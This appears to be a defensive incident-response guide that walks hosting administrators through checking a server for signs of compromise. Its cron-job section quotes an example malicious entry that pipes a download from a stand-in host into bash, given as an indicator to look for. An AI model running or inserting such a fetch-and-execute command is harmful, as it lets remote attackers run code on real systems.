The moment you suspect a data breach, panic is the enemy. Your first instinct should be to stop bleeding resources, not to start rewriting code. If your server is compromised, every minute of delay allows the attacker to exfiltrate more data or establish deeper persistence. This guide provides a direct triage checklist to help you identify the five most common signs of a breach on a hosting server. We will focus on actionable verification steps rather than theoretical overviews. You need to know what to look for in your logs, file systems, and network traffic immediately.
Prerequisites: You need root or sudo access to the affected server. You should also have a backup of your current state before making changes, even if it is compromised. This allows you to perform a forensic analysis later without destroying evidence.
1. Unusual CPU or Disk I/O Spikes
A compromised server often runs malicious processes in the background. These processes are typically resource-heavy. They may be mining cryptocurrency, running brute-force attacks against other servers, or scanning the network. Look for sudden, unexplained spikes in CPU usage or disk I/O.
Check the top processes consuming resources:
htop
Or use top if htop is not installed. Look for processes with high CPU usage that do not correspond to known services like httpd, mysqld, or php-fpm. If you see a process named something generic like kworker or systemd running with high CPU but no known parent process, it is suspicious.
Also, check disk I/O. A data exfiltration attempt will show high write or read activity. Use iotop to see which processes are reading or writing to the disk.
iotop -o
If you find a suspicious process, do not kill it immediately. Capture its command line and environment variables first. This helps in identifying the malware family.
ps -ef | grep <pid>
ls -la /proc/<pid>/cwd
2. Unauthorized File Changes or New Executables
Attackers often drop web shells, backdoors, or malware binaries onto the server. These files are usually hidden in web-accessible directories like /var/www/html or /home/username/public_html. They may also place executables in system directories like /tmp or /var/tmp.
Search for recently modified files in web directories:
find /var/www -type f -mtime -7 -ls
Look for files with unusual names, such as random strings of characters or names that mimic legitimate files but with a different extension. For example, index.php.bak or admin.php.tmp.
Check for new executables in temporary directories:
find /tmp /var/tmp -type f -perm -u+x -mtime -7
If you find a suspicious file, check its permissions and ownership. Malware often changes permissions to make the file executable by all users or hides it with special permissions.
ls -la /path/to/suspicious/file
Also, check for hidden files. Attackers often use dotfiles to hide their tracks.
ls -la /var/www/html
Look for files starting with a dot that are not part of your application’s standard configuration.
3. Suspicious Outbound Network Connections
A compromised server often makes outbound connections to command-and-control (C2) servers or other compromised hosts. These connections are usually on non-standard ports or to unknown IP addresses. Check your server’s outbound connections.
Use netstat or ss to list established connections:
ss -tuln
Or for a more detailed view:
netstat -an | grep ESTABLISHED
Look for connections to IP addresses that are not part of your infrastructure. Pay special attention to connections on ports like 443, 80, 53, or 22. If you see a connection to an unknown IP on port 443, it could be a C2 channel. If you see a connection to an unknown IP on port 22, it could be an SSH brute-force attempt or a backdoor.
You can also check for connections to known malicious IP addresses. Use a threat intelligence service to look up the IP addresses you find in your logs. If an IP is flagged as malicious, it is a strong indicator of a breach.
4. Unusual Login Activity or Failed Attempts
Check your authentication logs for unusual login activity. This includes failed login attempts, successful logins from unusual IP addresses, or logins at unusual times. On Linux systems, check /var/log/auth.log or /var/log/secure.
Search for failed SSH login attempts:
grep 'Failed password' /var/log/auth.log
Or for successful logins:
grep 'Accepted' /var/log/auth.log
Look for patterns. If you see multiple failed login attempts from the same IP address, it could be a brute-force attack. If you see a successful login from an IP address that you do not recognize, it could be a compromised account. Also, check for logins from unusual time zones or geographic locations.
If you use cPanel, check the login logs in the cPanel interface or in /var/log/cpanel/login.log. Look for logins from IP addresses that are not associated with your users or your hosting staff.
5. Unexpected Cron Jobs or Scheduled Tasks
Attackers often use cron jobs to maintain persistence on a compromised server. They may add a cron job that downloads and executes a malware script every hour or day. Check the crontabs for all users and the system crontab.
List all cron jobs:
crontab -l
Check the system crontab:
cat /etc/crontab
Also, check the cron directories for user-specific cron jobs:
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
Look for cron jobs that execute scripts from temporary directories or that download files from unknown URLs. For example, a cron job that runs curl http://malicious.com/script.sh | bash is a clear sign of a breach.
If you find a suspicious cron job, do not delete it immediately. Capture its contents and the script it executes. This helps in understanding the attacker’s intent and in identifying the malware family.
How to Verify and Isolate
Once you have identified a potential breach, verify your findings before taking action. Do not act on a single indicator. Look for multiple signs that point to the same conclusion. For example, if you see a suspicious process, check if it is associated with a suspicious file or a suspicious network connection.
Isolate the server from the network to prevent further damage. You can do this by disabling the network interface or by blocking outbound traffic at the firewall. Use iptables or ufw to block outbound traffic.
ufw deny out
Or use iptables:
iptables -A OUTPUT -j DROP
Be careful when blocking outbound traffic. This may affect your ability to access the server remotely. Ensure you have an alternative way to access the server, such as a console access via your hosting provider’s control panel.
What to check first
Start with CPU and disk I/O. These are the easiest signs to spot and often indicate active malware. Then, check for unauthorized files and network connections. Finally, review login activity and cron jobs. This order helps you identify the most critical issues first and allows you to isolate the server quickly. Remember, the goal is to stop the bleeding, not to fix everything at once. Once you have isolated the server, you can take the time to perform a thorough forensic analysis and clean up the system.
How do I know if my server is compromised?
Look for unusual CPU or disk I/O spikes, unauthorized file changes, suspicious outbound network connections, unusual login activity, and unexpected cron jobs. If you see multiple of these signs, your server is likely compromised.
What should I do if I find a suspicious file?
Do not delete it immediately. Capture its contents, permissions, and ownership. Then, isolate the server from the network. Finally, perform a forensic analysis to understand the file’s purpose and how it was placed on the server.
How can I prevent future breaches?
Keep your server and software up to date, use strong passwords, enable two-factor authentication, and monitor your logs regularly. Also, use a firewall and an intrusion detection system to block unauthorized access and detect malicious activity.